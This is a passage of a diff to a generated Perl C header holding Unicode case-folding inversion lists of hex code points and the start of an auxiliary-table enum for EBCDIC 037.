-	1,	/* 0 if the list starts at 0;
+	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x41,
-	0x5B,
-	0x61,
-	0x7B,
-	0xB5,
-	0xB6,
-	0xC0,
-	0xD7,
-	0xD8,
-	0xF7,
-	0xF8,
+	0x59,
+	0x5A,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
 	0x131,
 	0x132,
-	0x138,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
 	0x139,
-	0x18D,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x179,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x182,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x187,
+	0x188,
+	0x189,
+	0x18B,
+	0x18C,
 	0x18E,
-	0x19B,
+	0x18F,
+	0x190,
+	0x191,
+	0x192,
+	0x193,
+	0x194,
+	0x195,
+	0x196,
+	0x197,
+	0x198,
+	0x199,
 	0x19C,
+	0x19D,
+	0x19E,
+	0x19F,
+	0x1A0,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A7,
+	0x1A8,
+	0x1A9,
 	0x1AA,
 	0x1AC,
-	0x1BA,
+	0x1AD,
+	0x1AE,
+	0x1AF,
+	0x1B0,
+	0x1B1,
+	0x1B3,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B8,
+	0x1B9,
 	0x1BC,
-	0x1BE,
-	0x1BF,
-	0x1C0,
+	0x1BD,
 	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F0,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F7,
+	0x1F8,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
 	0x221,
 	0x222,
-	0x234,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
 	0x23A,
-	0x255,
-	0x256,
-	0x258,
-	0x259,
-	0x25A,
-	0x25B,
-	0x25D,
-	0x260,
-	0x262,
-	0x263,
-	0x264,
-	0x265,
-	0x267,
-	0x268,
-	0x26D,
-	0x26F,
-	0x270,
-	0x271,
-	0x273,
-	0x275,
-	0x276,
-	0x27D,
-	0x27E,
-	0x280,
-	0x281,
-	0x283,
-	0x284,
-	0x287,
-	0x28D,
-	0x292,
-	0x293,
-	0x29D,
-	0x29F,
-	0x2BC,
-	0x2BD,
-	0x2BE,
-	0x2BF,
-	0x300,
-	0x302,
-	0x307,
-	0x309,
-	0x30A,
-	0x30B,
-	0x30C,
-	0x30D,
-	0x313,
-	0x314,
-	0x331,
-	0x332,
-	0x342,
-	0x343,
+	0x23B,
+	0x23C,
+	0x23D,
+	0x23E,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x244,
+	0x245,
+	0x246,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
 	0x345,
 	0x346,
 	0x370,
-	0x374,
+	0x371,
+	0x372,
+	0x373,
 	0x376,
-	0x378,
-	0x37B,
-	0x37E,
+	0x377,
 	0x37F,
 	0x380,
 	0x386,
@@ -1764,20 +7223,263 @@
 	0x38C,
 	0x38D,
 	0x38E,
+	0x390,
+	0x391,
 	0x3A2,
 	0x3A3,
+	0x3AC,
+	0x3B0,
+	0x3B1,
+	0x3C2,
+	0x3C3,
+	0x3CF,
+	0x3D0,
+	0x3D1,
 	0x3D2,
 	0x3D5,
+	0x3D6,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F1,
+	0x3F2,
+	0x3F4,
+	0x3F5,
 	0x3F6,
 	0x3F7,
-	0x3FC,
+	0x3F8,
+	0x3F9,
+	0x3FA,
+	0x3FB,
 	0x3FD,
-	0x482,
+	0x400,
+	0x410,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
 	0x48A,
-	0x530,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C1,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
 	0x531,
 	0x557,
-	0x561,
+	0x587,
 	0x588,
 	0x10A0,
 	0x10C6,
@@ -1785,30 +7487,290 @@
 	0x10C8,
 	0x10CD,
 	0x10CE,
-	0x13A0,
-	0x13F6,
 	0x13F8,
 	0x13FE,
 	0x1C80,
+	0x1C81,
+	0x1C82,
+	0x1C83,
+	0x1C85,
+	0x1C86,
+	0x1C87,
+	0x1C88,
 	0x1C89,
-	0x1D79,
-	0x1D7A,
-	0x1D7D,
-	0x1D7E,
 	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E96,
+	0x1E97,
+	0x1E98,
+	0x1E99,
+	0x1E9A,
+	0x1E9B,
 	0x1E9C,
 	0x1E9E,
 	0x1E9F,
 	0x1EA0,
-	0x1F16,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
 	0x1F18,
 	0x1F1E,
-	0x1F20,
-	0x1F46,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
 	0x1F48,
 	0x1F4E,
 	0x1F50,
-	0x1F58,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
 	0x1F59,
 	0x1F5A,
 	0x1F5B,
@@ -1816,181 +7778,10359 @@
 	0x1F5D,
 	0x1F5E,
 	0x1F5F,
-	0x1F7E,
+	0x1F60,
+	0x1F68,
+	0x1F70,
 	0x1F80,
+	0x1F81,
+	0x1F82,
+	0x1F83,
+	0x1F84,
+	0x1F85,
+	0x1F86,
+	0x1F87,
+	0x1F88,
+	0x1F89,
+	0x1F8A,
+	0x1F8B,
+	0x1F8C,
+	0x1F8D,
+	0x1F8E,
+	0x1F8F,
+	0x1F90,
+	0x1F91,
+	0x1F92,
+	0x1F93,
+	0x1F94,
+	0x1F95,
+	0x1F96,
+	0x1F97,
+	0x1F98,
+	0x1F99,
+	0x1F9A,
+	0x1F9B,
+	0x1F9C,
+	0x1F9D,
+	0x1F9E,
+	0x1F9F,
+	0x1FA0,
+	0x1FA1,
+	0x1FA2,
+	0x1FA3,
+	0x1FA4,
+	0x1FA5,
+	0x1FA6,
+	0x1FA7,
+	0x1FA8,
+	0x1FA9,
+	0x1FAA,
+	0x1FAB,
+	0x1FAC,
+	0x1FAD,
+	0x1FAE,
+	0x1FAF,
+	0x1FB0,
+	0x1FB2,
+	0x1FB3,
+	0x1FB4,
 	0x1FB5,
 	0x1FB6,
+	0x1FB7,
+	0x1FB8,
+	0x1FBA,
+	0x1FBC,
 	0x1FBD,
 	0x1FBE,
 	0x1FBF,
 	0x1FC2,
+	0x1FC3,
+	0x1FC4,
 	0x1FC5,
 	0x1FC6,
+	0x1FC7,
+	0x1FC8,
+	0x1FCC,
 	0x1FCD,
-	0x1FD0,
+	0x1FD2,
+	0x1FD3,
 	0x1FD4,
 	0x1FD6,
+	0x1FD7,
+	0x1FD8,
+	0x1FDA,
 	0x1FDC,
-	0x1FE0,
+	0x1FE2,
+	0x1FE3,
+	0x1FE4,
+	0x1FE5,
+	0x1FE6,
+	0x1FE7,
+	0x1FE8,
+	0x1FEA,
+	0x1FEC,
 	0x1FED,
 	0x1FF2,
+	0x1FF3,
+	0x1FF4,
 	0x1FF5,
 	0x1FF6,
+	0x1FF7,
+	0x1FF8,
+	0x1FFA,
+	0x1FFC,
 	0x1FFD,
 	0x2126,
 	0x2127,
 	0x212A,
+	0x212B,
 	0x212C,
 	0x2132,
 	0x2133,
-	0x214E,
-	0x214F,
 	0x2160,
-	0x2180,
+	0x2170,
 	0x2183,
-	0x2185,
+	0x2184,
 	0x24B6,
-	0x24EA,
+	0x24D0,
 	0x2C00,
 	0x2C2F,
-	0x2C30,
-	0x2C5F,
 	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C63,
+	0x2C64,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C6E,
+	0x2C6F,
+	0x2C70,
 	0x2C71,
 	0x2C72,
-	0x2C74,
+	0x2C73,
 	0x2C75,
-	0x2C77,
+	0x2C76,
 	0x2C7E,
-	0x2CE4,
+	0x2C80,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
 	0x2CEB,
-	0x2CEF,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
 	0x2CF2,
-	0x2CF4,
-	0x2D00,
-	0x2D26,
-	0x2D27,
-	0x2D28,
-	0x2D2D,
-	0x2D2E,
+	0x2CF3,
 	0xA640,
-	0xA66E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
 	0xA680,
-	0xA69C,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
 	0xA722,
-	0xA730,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
 	0xA732,
-	0xA770,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
 	0xA779,
-	0xA788,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77E,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
 	0xA78B,
+	0xA78C,
+	0xA78D,
 	0xA78E,
 	0xA790,
-	0xA794,
+	0xA791,
+	0xA792,
+	0xA793,
 	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AB,
+	0xA7AC,
+	0xA7AD,
+	0xA7AE,
 	0xA7AF,
 	0xA7B0,
-	0xA7B8,
-	0xAB53,
-	0xAB54,
+	0xA7B1,
+	0xA7B2,
+	0xA7B3,
+	0xA7B4,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
 	0xAB70,
 	0xABC0,
 	0xFB00,
+	0xFB01,
+	0xFB02,
+	0xFB03,
+	0xFB04,
+	0xFB05,
 	0xFB07,
 	0xFB13,
+	0xFB14,
+	0xFB15,
+	0xFB16,
+	0xFB17,
 	0xFB18,
 	0xFF21,
 	0xFF3B,
-	0xFF41,
-	0xFF5B,
 	0x10400,
-	0x10450,
+	0x10428,
 	0x104B0,
 	0x104D4,
-	0x104D8,
-	0x104FC,
 	0x10C80,
 	0x10CB3,
-	0x10CC0,
-	0x10CF3,
 	0x118A0,
-	0x118E0,
+	0x118C0,
 	0x1E900,
-	0x1E944
+	0x1E922
 };
 
-static const UV _Perl_Folds_To_Multi_Char_invlist[] = { /* for ASCII/Latin1 */
-	59,	/* Number of elements */
+#   endif	/* EBCDIC 037 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	CF_0 = 0,
+	CF_use_AUX_TABLE_1 = -1,
+	CF_use_AUX_TABLE_2 = -2,
+	CF_use_AUX_TABLE_3 = -3,
+	CF_use_AUX_TABLE_4 = -4,
+	CF_use_AUX_TABLE_5 = -5,
+	CF_use_AUX_TABLE_6 = -6,
+	CF_use_AUX_TABLE_7 = -7,
+	CF_use_AUX_TABLE_8 = -8,
+	CF_use_AUX_TABLE_9 = -9,
+	CF_use_AUX_TABLE_10 = -10,
+	CF_use_AUX_TABLE_11 = -11,
+	CF_use_AUX_TABLE_12 = -12,
+	CF_use_AUX_TABLE_13 = -13,
+	CF_use_AUX_TABLE_14 = -14,
+	CF_use_AUX_TABLE_15 = -15,
+	CF_use_AUX_TABLE_16 = -16,
+	CF_use_AUX_TABLE_17 = -17,
+	CF_use_AUX_TABLE_18 = -18,
+	CF_use_AUX_TABLE_19 = -19,
+	CF_use_AUX_TABLE_20 = -20,
+	CF_use_AUX_TABLE_21 = -21,
+	CF_use_AUX_TABLE_22 = -22,
+	CF_use_AUX_TABLE_23 = -23,
+	CF_use_AUX_TABLE_24 = -24,
+	CF_use_AUX_TABLE_25 = -25,
+	CF_use_AUX_TABLE_26 = -26,
+	CF_use_AUX_TABLE_27 = -27,
+	CF_use_AUX_TABLE_28 = -28,
+	CF_use_AUX_TABLE_29 = -29,
+	CF_use_AUX_TABLE_30 = -30,
+	CF_use_AUX_TABLE_31 = -31,
+	CF_use_AUX_TABLE_32 = -32,
+	CF_use_AUX_TABLE_33 = -33,
+	CF_use_AUX_TABLE_34 = -34,
+	CF_use_AUX_TABLE_35 = -35,
+	CF_use_AUX_TABLE_36 = -36,
+	CF_use_AUX_TABLE_37 = -37,
+	CF_use_AUX_TABLE_38 = -38,
+	CF_use_AUX_TABLE_39 = -39,
+	CF_use_AUX_TABLE_40 = -40,
+	CF_use_AUX_TABLE_41 = -41,
+	CF_use_AUX_TABLE_42 = -42,
+	CF_use_AUX_TABLE_43 = -43,
+	CF_use_AUX_TABLE_44 = -44,
+	CF_use_AUX_TABLE_45 = -45,
+	CF_use_AUX_TABLE_46 = -46,
+	CF_use_AUX_TABLE_47 = -47,
+	CF_use_AUX_TABLE_48 = -48,
+	CF_use_AUX_TABLE_49 = -49,
+	CF_use_AUX_TABLE_50 = -50,
+	CF_use_AUX_TABLE_51 = -51,
+	CF_use_AUX_TABLE_52 = -52,
+	CF_use_AUX_TABLE_53 = -53,
+	CF_use_AUX_TABLE_54 = -54,
+	CF_use_AUX_TABLE_55 = -55,
+	CF_use_AUX_TABLE_56 = -56,
+	CF_use_AUX_TABLE_57 = -57,
+	CF_use_AUX_TABLE_58 = -58,
+	CF_use_AUX_TABLE_59 = -59,
+	CF_use_AUX_TABLE_60 = -60,
